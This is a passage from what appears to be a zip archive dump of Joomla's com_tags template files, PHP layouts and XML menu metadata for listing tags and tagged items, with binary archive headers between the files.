 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

// Note that there are certain parts of this layout used only when there is exactly one tag.
$n    = count($this->items);
$htag = $this->params->get('show_page_heading') ? 'h2' : 'h1';

?>

<div class="com-tags-tag-list tag-category">

    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    <?php endif; ?>

    <?php if ($this->params->get('show_tag_title', 1)) : ?>
        <<?php echo $htag; ?>>
            <?php echo HTMLHelper::_('content.prepare', $this->tags_title, '', 'com_tags.tag'); ?>
        </<?php echo $htag; ?>>
    <?php endif; ?>

    <?php // We only show a tag description if there is a single tag. ?>
    <?php if (count($this->item) === 1 && ($this->params->get('tag_list_show_tag_image', 1) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
        <div class="com-tags-tag-list__description category-desc">
            <?php $images = json_decode($this->item[0]->images); ?>
            <?php if ($this->params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?>
                <?php echo HTMLHelper::_('image', $images->image_fulltext, ''); ?>
            <?php endif; ?>
            <?php if ($this->params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?>
                <?php echo HTMLHelper::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag'); ?>
            <?php endif; ?>
        </div>
    <?php endif; ?>

    <?php // If there are multiple tags and a description or image has been supplied use that. ?>
    <?php if ($this->params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)) : ?>
        <?php if ($this->params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?>
            <?php echo HTMLHelper::_('image', $this->params->get('tag_list_image'), empty($this->params->get('tag_list_image_alt')) && empty($this->params->get('tag_list_image_alt_empty')) ? false : $this->params->get('tag_list_image_alt')); ?>
        <?php endif; ?>
        <?php if ($this->params->get('tag_list_description', '') > '') : ?>
            <?php echo HTMLHelper::_('content.prepare', $this->params->get('tag_list_description'), '', 'com_tags.tag'); ?>
        <?php endif; ?>
    <?php endif; ?>
    <?php echo $this->loadTemplate('items'); ?>
</div>
PK���\<Uf�� com_tags/tmpl/tag/list_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_tags.tag-list');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div class="com-tags-compact__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm" class="com-tags-tag-list__items">
        <?php if ($this->params->get('filter_field')) : ?>
            <div class="com-tags-tag__filter btn-group">
                <label class="filter-search-lbl visually-hidden" for="filter-search">
                    <?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
                </label>
                <input
                    type="text"
                    name="filter-search"
                    id="filter-search"
                    value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                    class="inputbox" onchange="document.adminForm.submit();"
                    placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
                >
                <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
            </div>
        <?php endif; ?>
        <?php if ($this->params->get('show_pagination_limit')) : ?>
            <div class="btn-group float-end">
                <label for="limit" class="visually-hidden">
                    <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                </label>
                <?php echo $this->pagination->getLimitBox(); ?>
            </div>
        <?php endif; ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_TAGS_NO_ITEMS'); ?>
            </div>
        <?php else : ?>
            <table class="com-tags-tag-list__category category table table-striped table-bordered table-hover">
                <thead<?php echo $this->params->get('show_headings', '1') ? '' : ' class="visually-hidden"'; ?>>
                    <tr>
                        <th scope="col" id="categorylist_header_title">
                            <?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'c.core_title', $listDirn, $listOrder); ?>
                        </th>
                        <?php if ($date = $this->params->get('tag_list_show_date')) : ?>
                            <th scope="col" id="categorylist_header_date">
                                <?php if ($date === 'created') : ?>
                                    <?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_created_time', $listDirn, $listOrder); ?>
                                <?php elseif ($date === 'modified') : ?>
                                    <?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_modified_time', $listDirn, $listOrder); ?>
                                <?php elseif ($date === 'published') : ?>
                                    <?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_publish_up', $listDirn, $listOrder); ?>
                                <?php endif; ?>
                            </th>
                        <?php endif; ?>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($this->items as $i => $item) : ?>
                        <?php if ($item->core_state == 0) : ?>
                            <tr class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
                        <?php else : ?>
                            <tr class="cat-list-row<?php echo $i % 2; ?>" >
                        <?php endif; ?>
                            <th scope="row" class="list-title">
                                <?php if (($item->type_alias === 'com_users.category') || ($item->type_alias === 'com_banners.category')) : ?>
                                    <?php echo $this->escape($item->core_title); ?>
                                <?php else : ?>
                                    <a href="<?php echo Route::_($item->link); ?>">
                                        <?php echo $this->escape($item->core_title); ?>
                                    </a>
                                <?php endif; ?>
                                <?php if ($item->core_state == 0) : ?>
                                    <span class="list-published badge bg-warning text-light">
                                        <?php echo Text::_('JUNPUBLISHED'); ?>
                                    </span>
                                <?php endif; ?>
                            </th>
                            <?php if ($this->params->get('tag_list_show_date')) : ?>
                                <td class="list-date">
                                    <?php
                                    echo HTMLHelper::_(
                                        'date',
                                        $item->displayDate,
                                        $this->escape($this->params->get('date_format', Text::_('DATE_FORMAT_LC3')))
                                    ); ?>
                                </td>
                            <?php endif; ?>
                            </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        <?php endif; ?>

        <?php // Add pagination links ?>
        <?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
            <div class="com-tags-tag-list__pagination w-100">
                <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                    <p class="counter float-end pt-3 pe-2">
                        <?php echo $this->pagination->getPagesCounter(); ?>
                    </p>
                <?php endif; ?>
                <?php echo $this->pagination->getPagesLinks(); ?>
            </div>
        <?php endif; ?>
        <input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>">
        <input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>">
        <input type="hidden" name="limitstart" value="">
        <input type="hidden" name="task" value="">
    </form>
</div>
PK���\Z�:e��#com_tags/tmpl/tag/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Tags\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_tags.tag-default');

// Get the user object.
$user = Factory::getUser();

// Check if user is allowed to add/edit based on tags permissions.
// Do we really have to make it so people can see unpublished tags???
$canEdit      = $user->authorise('core.edit', 'com_tags');
$canCreate    = $user->authorise('core.create', 'com_tags');
$canEditState = $user->authorise('core.edit.state', 'com_tags');
?>
<div class="com-tags__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
        <?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
            <?php if ($this->params->get('filter_field')) : ?>
                <div class="com-tags-tags__filter btn-group">
                    <label class="filter-search-lbl visually-hidden" for="filter-search">
                        <?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
                    </label>
                    <input
                        type="text"
                        name="filter-search"
                        id="filter-search"
                        value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                        class="inputbox" onchange="document.adminForm.submit();"
                        placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
                    >
                    <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                    <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
                </div>
            <?php endif; ?>
            <?php if ($this->params->get('show_pagination_limit')) : ?>
                <div class="btn-group float-end">
                    <label for="limit" class="visually-hidden">
                        <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                    </label>
                    <?php echo $this->pagination->getLimitBox(); ?>
                </div>
            <?php endif; ?>

            <input type="hidden" name="limitstart" value="">
            <input type="hidden" name="task" value="">
        <?php endif; ?>
    </form>

    <?php if (empty($this->items)) : ?>
        <div class="alert alert-info">
            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
            <?php echo Text::_('COM_TAGS_NO_ITEMS'); ?>
        </div>
    <?php else : ?>
        <ul class="com-tags-tag__category category list-group">
            <?php foreach ($this->items as $i => $item) : ?>
                <?php if ($item->core_state == 0) : ?>
                    <li class="list-group-item-danger">
                <?php else : ?>
                    <li class="list-group-item list-group-item-action">
                <?php endif; ?>
                <?php if (($item->type_alias === 'com_users.category') || ($item->type_alias === 'com_banners.category')) : ?>
                    <h3>
                        <?php echo $this->escape($item->core_title); ?>
                    </h3>
                <?php else : ?>
                    <h3>
                        <a href="<?php echo Route::_($item->link); ?>">
                            <?php echo $this->escape($item->core_title); ?>
                        </a>
                    </h3>
                <?php endif; ?>
                <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
                <?php echo $item->event->afterDisplayTitle; ?>
                <?php $images  = json_decode($item->core_images); ?>
                <?php if ($this->params->get('tag_list_show_item_image', 1) == 1 && !empty($images->image_intro)) : ?>
                    <a href="<?php echo Route::_(RouteHelper::getItemRoute($item->content_item_id, $item->core_alias, $item->core_catid, $item->core_language, $item->type_alias, $item->router)); ?>">
                        <?php echo HTMLHelper::_('image', $images->image_intro, $images->image_intro_alt); ?>
                    </a>
                <?php endif; ?>
                <?php if ($this->params->get('tag_list_show_item_description', 1)) : ?>
                    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
                    <?php echo $item->event->beforeDisplayContent; ?>
                    <span class="tag-body">
                        <?php echo HTMLHelper::_('string.truncate', $item->core_body, $this->params->get('tag_list_item_maximum_characters')); ?>
                    </span>
                    <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
                    <?php echo $item->event->afterDisplayContent; ?>
                <?php endif; ?>
                    </li>
            <?php endforeach; ?>
        </ul>
    <?php endif; ?>
</div>
PK���\*�E{

com_tags/tmpl/tag/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

// Note that there are certain parts of this layout used only when there is exactly one tag.
$isSingleTag = count($this->item) === 1;
$htag        = $this->params->get('show_page_heading') ? 'h2' : 'h1';
?>

<div class="com-tags-tag tag-category">

    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    <?php endif; ?>

    <?php if ($this->params->get('show_tag_title', 1)) : ?>
        <<?php echo $htag; ?>>
            <?php echo HTMLHelper::_('content.prepare', $this->tags_title, '', 'com_tags.tag'); ?>
        </<?php echo $htag; ?>>
    <?php endif; ?>

    <?php // We only show a tag description if there is a single tag. ?>
    <?php if (count($this->item) === 1 && ($this->params->get('tag_list_show_tag_image', 1) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
        <div class="com-tags-tag__description category-desc">
            <?php $images = json_decode($this->item[0]->images); ?>
            <?php if ($this->params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?>
                <?php echo HTMLHelper::_('image', $images->image_fulltext, $images->image_fulltext_alt); ?>
            <?php endif; ?>
            <?php if ($this->params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?>
                <?php echo HTMLHelper::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag'); ?>
            <?php endif; ?>
        </div>
    <?php endif; ?>

    <?php // If there are multiple tags and a description or image has been supplied use that. ?>
    <?php if ($this->params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)) : ?>
        <?php if ($this->params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?>
            <?php echo HTMLHelper::_('image', $this->params->get('tag_list_image'), empty($this->params->get('tag_list_image_alt')) && empty($this->params->get('tag_list_image_alt_empty')) ? false : $this->params->get('tag_list_image_alt')); ?>
        <?php endif; ?>
        <?php if ($this->params->get('tag_list_description', '') > '') : ?>
            <?php echo HTMLHelper::_('content.prepare', $this->params->get('tag_list_description'), '', 'com_tags.tag'); ?>
        <?php endif; ?>
    <?php endif; ?>
    <?php echo $this->loadTemplate('items'); ?>

    <?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
        <div class="com-tags-tag__pagination w-100">
            <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                <p class="counter float-end pt-3 pe-2">
                    <?php echo $this->pagination->getPagesCounter(); ?>
                </p>
            <?php endif; ?>
            <?php echo $this->pagination->getPagesLinks(); ?>
        </div>
    <?php endif; ?>
</div>
PK���\�{{com_tags/tmpl/tag/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_TAGS_TAG_VIEW_DEFAULT_TITLE" option="COM_TAGS_TAG_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Tagged_Items"
		/>
		<message>
			<![CDATA[COM_TAGS_TAG_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">

			<field
				name="id"
				type="tag"
				label="COM_TAGS_FIELD_TAG_LABEL"
				mode="nested"
				required="true"
				multiple="true"
				custom="false"
			/>

			<field
				name="types"
				type="contenttype"
				label="COM_TAGS_FIELD_TYPE_LABEL"
				layout="joomla.form.field.list-fancy-select"
				multiple="true"
			/>

			<field
				name="tag_list_language_filter"
				type="contentlanguage"
				label="COM_TAGS_FIELD_LANGUAGE_FILTER_LABEL"
				default=""
				useglobal="true"
				>
				<option value="all">JALL</option>
				<option value="current_language">JCURRENT</option>
			</field>

		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
	<fieldset name="basic" label="COM_TAGS_OPTIONS">

			<field
				name="show_tag_title"
				type="list"
				label="COM_TAGS_SHOW_TAG_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_image"
				type="list"
				label="COM_TAGS_SHOW_TAG_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_description"
				type="list"
				label="COM_TAGS_SHOW_TAG_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_image"
				type="media"
				schemes="http,https,ftp,ftps,data,file"
				validate="url"
				relative="true"
				label="COM_TAGS_TAG_LIST_MEDIA_LABEL"
			/>

			<field
				name="tag_list_image_alt"
				type="text"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_LABEL"
			/>

			<field
				name="tag_list_image_alt_empty"
				type="checkbox"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_LABEL"
				description="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_DESC"
			/>

			<field
				name="tag_list_description"
				type="textarea"
				label="COM_TAGS_SHOW_TAG_LIST_DESCRIPTION_LABEL"
				description="COM_TAGS_TAG_LIST_DESCRIPTION_DESC"
				rows="3"
				cols="30"
				filter="safehtml"
			/>

			<field
				name="tag_list_orderby"
				type="list"
				label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="c.core_title">JGLOBAL_TITLE</option>
				<option value="match_count">COM_TAGS_MATCH_COUNT</option>
				<option value="c.core_created_time">JGLOBAL_CREATED_DATE</option>
				<option value="c.core_modified_time">JGLOBAL_MODIFIED_DATE</option>
				<option value="c.core_publish_up">JGLOBAL_PUBLISHED_DATE</option>
			</field>

			<field
				name="tag_list_orderby_direction"
				type="list"
				label="JGLOBAL_ORDER_DIRECTION_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
				<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="COM_TAGS_ITEM_OPTIONS" description="COM_TAGS_SUBSLIDER_DRILL_TAG_LIST_LABEL">

			<field
				name="tag_list_show_item_image"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_item_description"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_item_maximum_characters"
				type="number"
				label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="pagination" label="COM_TAGS_PAGINATION_OPTIONS">

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="selection" label="COM_TAGS_LIST_SELECTION_OPTIONS">

			<field
				name="return_any_or_all"
				type="list"
				label="COM_TAGS_SEARCH_TYPE_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_TAGS_ALL</option>
				<option value="1">COM_TAGS_ANY</option>
			</field>

			<field
				name="include_children"
				type="list"
				label="COM_TAGS_INCLUDE_CHILDREN_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_TAGS_EXCLUDE</option>
				<option value="1">COM_TAGS_INCLUDE</option>
			</field>

		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
PK���\'�����com_tags/tmpl/tags/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_TAGS_TAGS_VIEW_DEFAULT_TITLE" option="COM_TAGS_TAG_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_List_All_Tags"
		/>
		<message>
			<![CDATA[COM_TAGS_TAGS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">

			<field
				name="parent_id"
				type="tag"
				label="COM_TAGS_FIELD_PARENT_TAG_LABEL"
				mode="nested"
				>
				<option value="">JNONE</option>
				<option value="1">JGLOBAL_ROOT</option>
			</field>

			<field
				name="tag_list_language_filter"
				type="contentlanguage"
				label="COM_TAGS_FIELD_LANGUAGE_FILTER_LABEL"
				default=""
				useglobal="true"
				>
				<option value="all">JALL</option>
				<option value="current_language">JCURRENT</option>
			</field>

		</fieldset>
	</fields>
	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic">

			<field
				name="tag_columns"
				type="number"
				label="COM_TAGS_COMPACT_COLUMNS_LABEL"
				default="4"
				filter="integer"
			/>

			<field
				name="all_tags_description"
				type="textarea"
				label="COM_TAGS_ALL_TAGS_DESCRIPTION_LABEL"
				rows="3"
				cols="30"
				filter="safehtml"
			/>

			<field
				name="all_tags_show_description_image"
				type="list"
				label="COM_TAGS_SHOW_ALL_TAGS_IMAGE_LABEL"
				class="form-select-color-state"
				validate="options"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="all_tags_description_image"
				type="media"
				schemes="http,https,ftp,ftps,data,file"
				validate="url"
				relative="true"
				label="COM_TAGS_ALL_TAGS_MEDIA_LABEL"
			/>

			<field
				name="all_tags_description_image_alt"
				type="text"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_LABEL"
			/>

			<field
				name="all_tags_description_image_alt_empty"
				type="checkbox"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_LABEL"
				description="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_DESC"
			/>
			<field
				name="all_tags_orderby"
				type="list"
				label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="title">JGLOBAL_TITLE</option>
				<option value="hits">JGLOBAL_HITS</option>
				<option value="created_time">JGLOBAL_CREATED_DATE</option>
				<option value="modified_time">JGLOBAL_MODIFIED_DATE</option>
				<option value="publish_up">JGLOBAL_PUBLISHED_DATE</option>
			</field>

			<field
				name="all_tags_orderby_direction"
				type="list"
				label="JGLOBAL_ORDER_DIRECTION_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
				<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
			</field>

			<field
				name="all_tags_show_tag_image"
				type="list"
				label="COM_TAGS_SHOW_ITEM_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="all_tags_show_tag_description"
				type="list"
				label="COM_TAGS_SHOW_ITEM_DESCRIPTION_LABEL"
				class="form-select-color-state"
				validate="options"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="all_tags_tag_maximum_characters"
				type="number"
				label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
				filter="integer"
			/>

			<field
				name="all_tags_show_tag_hits"
				type="list"
				label="JGLOBAL_HITS"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
		<fieldset
			name="selection"
			label="COM_TAGS_LIST_ALL_SELECTION_OPTIONS">

			<field
				name="maximum"
				type="number"
				label="COM_TAGS_LIST_MAX_LABEL"
				default="200"
				filter="integer"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
		<fieldset name="integration">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
PK���\�]�nncom_tags/tmpl/tags/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

// Note that there are certain parts of this layout used only when there is exactly one tag.
$description      = $this->params->get('all_tags_description');
$descriptionImage = $this->params->get('all_tags_description_image');
?>
<div class="com-tags tag-category">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    <?php endif; ?>
    <?php if ($this->params->get('all_tags_show_description_image') && !empty($descriptionImage)) : ?>
        <div class="com-tags__image">
            <?php echo HTMLHelper::_('image', $descriptionImage, empty($this->params->get('all_tags_description_image_alt')) && empty($this->params->get('all_tags_description_image_alt_empty')) ? false : $this->params->get('all_tags_description_image_alt')); ?>
        </div>
    <?php endif; ?>
    <?php if (!empty($description)) : ?>
        <div class="com-tags__description">
            <?php echo $description; ?>
        </div>
    <?php endif; ?>
    <?php echo $this->loadTemplate('items'); ?>
</div>
PK���\#�c��$com_tags/tmpl/tags/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Tags\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_tags.tags-default');

// Get the user object.
$user = Factory::getUser();

// Check if user is allowed to add/edit based on tags permissions.
$canEdit      = $user->authorise('core.edit', 'com_tags');
$canCreate    = $user->authorise('core.create', 'com_tags');
$canEditState = $user->authorise('core.edit.state', 'com_tags');

$columns = $this->params->get('tag_columns', 1);

// Avoid division by 0 and negative columns.
if ($columns < 1) {
    $columns = 1;
}

$bsspans = floor(12 / $columns);

if ($bsspans < 1) {
    $bsspans = 1;
}

$bscolumns = min($columns, floor(12 / $bsspans));
$n         = count($this->items);
?>

<div class="com-tags__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
        <?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
            <?php if ($this->params->get('filter_field')) : ?>
                <div class="com-tags-tags__filter btn-group">
                    <label class="filter-search-lbl visually-hidden" for="filter-search">
                        <?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
                    </label>
                    <input
                        type="text"
                        name="filter-search"
                        id="filter-search"
                        value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                        class="inputbox" onchange="document.adminForm.submit();"
                        placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
                    >
                    <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                    <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
                </div>
            <?php endif; ?>
